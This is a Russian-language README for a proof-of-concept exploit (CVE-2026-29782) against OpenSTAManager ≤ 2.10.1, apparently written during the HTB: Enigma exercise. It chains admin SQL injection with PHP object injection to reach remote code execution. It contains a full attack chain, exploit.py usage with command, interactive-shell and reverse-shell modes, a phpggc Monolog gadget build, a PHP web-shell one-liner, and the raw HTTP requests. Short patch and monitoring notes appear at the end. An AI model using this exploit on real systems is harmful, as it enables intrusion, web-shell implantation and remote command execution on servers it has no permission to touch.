
Proof-of-concept эксплойт для CVE-2026-29782, объединяющий SQL-инъекцию и PHP object injection для достижения удалённого выполнения кода в OpenSTAManager. Включает развёртывание веб-шелла и варианты reverse shell.
PoC для удалённого выполнения кода в OpenSTAManager ≤ 2.10.1.
oauth2.php ищет строку zz_oauth2 по управляемому атакующим GET-параметру
state и вызывает unserialize() для её столбца access_token без
ограничения allowed_classes (Models\OAuth2::checkTokens() /
getAccessToken()). Это точка внедрения PHP-объектов.
Сама по себе она не эксплуатируема — вы не можете разместить объект. В связке с неограниченным произвольным SQL в модуле Aggiornamenti (, без списка разрешённых запросов в ветке 2.9.x — ), аутентифицированный администратор может -ить сериализованный POP-гаджет в , а затем запросить , чтобы его детонировать.
op=risolvi-conflitti-databaseGHSA-2fr7-cc4f-wh98INSERTzz_oauth2.access_tokenoauth2.phpauth (admin)
└─ POST /actions.php op=risolvi-conflitti-database ← произвольный SQL
└─ INSERT блоба-гаджета в zz_oauth2.access_token (по ключу `state`)
└─ GET /oauth2.php?state=<state>&code=x
└─ Models\OAuth2::configure() → needsConfiguration()
→ getAccessToken() → checkTokens() → unserialize($access_token)
└─ POP-гаджет __destruct() → запись файла
└─ GET /<webshell>.php?c=<cmd> ← выполнение кода от имени веб-пользователя
⚠️ Только авторизованное тестирование. Опубликовано в образовательных целях, для CTF-игр (написано против HTB: Enigma) и защитных исследований. Запуск против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, незаконен. Без гарантий. См. LICENSE.
| Продукт | OpenSTAManager (devcode-it/openstamanager) |
| Точка внедрения объектов | ≤ 2.10.1 — исправлено в 2.10.2 (unserialize($v, ['allowed_classes' => [AccessToken::class]])) |
| Цепочка произвольного SQL | ветка 2.9.x (risolvi-conflitti-database получил список разрешений позже в 2.10.x) |
| Проверено против | 2.9.8, PHP 8.3, MySQL 8.0 |
Дерево 2.9.x включает monolog/monolog ^3.0, поэтому этот PoC использует
гаджет записи файлов Monolog 3.x (phpggc Monolog/FW1) для размещения
веб-шелла. Это намеренно исключает зависимость от включённых system()/exec()
или от того, какие компоненты Laravel присутствуют.
requests — pip install -r requirements.txtphpggc + CLI php в PATH
(используется только для сборки гаджета; или укажите --payload-file с заранее собранным блобом)git clone https://github.com/ambionics/phpggc
export PATH="$PWD/phpggc:$PATH"
pip install -r requirements.txt
./exploit.py -u http://TARGET -U admin -P 'password' [действие]
действия:
--cmd 'id' выполнить одну команду, вывести результат
--shell простой интерактивный промпт
--lhost 10.10.14.5 --lport 4444 обратный bash-shell
--drop-only только разместить веб-шелл, вывести его URL
полезные флаги:
--module-id 6 id модуля Aggiornamenti (по умолчанию 6)
--phpggc ./phpggc/phpggc путь к phpggc
--payload-file blob.bin пропустить phpggc, использовать предварительно сгенерированный блоб Monolog/FW1
--webshell-name name.php имя файла, размещаемого в корне веб-каталога
--proxy http://127.0.0.1:8080
--keep оставить внедрённую строку zz_oauth2 на месте
# доказать RCE
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --cmd 'id; uname -a'
# интерактивный режим
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --shell
# обратный shell (сначала запустите `nc -lvnp 4444`)
./exploit.py -u http://support.example.htb -U admin -P 'hunter2' --lhost 10.10.14.5 --lport 4444
Предварительная генерация гаджета вручную (эквивалент того, что делает скрипт):
printf '%s' '<?php echo "|OSMSH|"; @system($_GET["c"]); ?>' > ws.php
phpggc -a -f Monolog/FW1 osm_shell.php ws.php > blob.bin
./exploit.py -u http://TARGET -U admin -P pass \
--payload-file blob.bin --webshell-name osm_shell.php --cmd id
-a = ASCII-безопасное S: кодирование строк (переживает столбец TEXT байт-в-байт);
-f = fast-destruct (объект срабатывает сразу после unserialize(), до того как
OpenSTAManager вызовет ->hasExpired() и выбросит исключение).
POST /index.php op=login&username=&password= (успех = 302
с index.php).POST /actions.php
op=risolvi-conflitti-database&id_module=6&queries=<json-массив>. Каждый элемент
передаётся в $dbo->query(); ветка 2.9.x не применяет список разрешений. PoC
добавляет пару CREATE TABLE … / DROP TABLE … для принудительного неявного
COMMIT (иначе конечная точка оставляет записи в незакоммиченной транзакции).
Обработчик также выводит текст ошибок MySQL, что даёт оракул чтения через
extractvalue() (OSM.sql_extract() в коде).INSERT в zz_oauth2 строки с известным state и
access_token = 0x<hex(гаджет)>; class устанавливается в реального провайдера
Modules\Emails\OAuth2\Google.GET /oauth2.php?state=<state>&code=x. configure() вызывает
needsConfiguration() → getAccessToken() → checkTokens() →
unserialize($this->access_token) без allowed_classes. __destruct гаджета
Monolog записывает веб-шелл. Ответ — HTTP 500, это ожидаемо.GET /<webshell>?c=<cmd> → system().unserialize($v, ['allowed_classes' => [AccessToken::class]]), а исполнитель
SQL в Aggiornamenti получает список разрешений.modules/aggiornamenti/ доверенными администраторами; отслеживайте
записи в zz_oauth2 и запросы к oauth2.php.Исследование и PoC при взломе HTB: Enigma.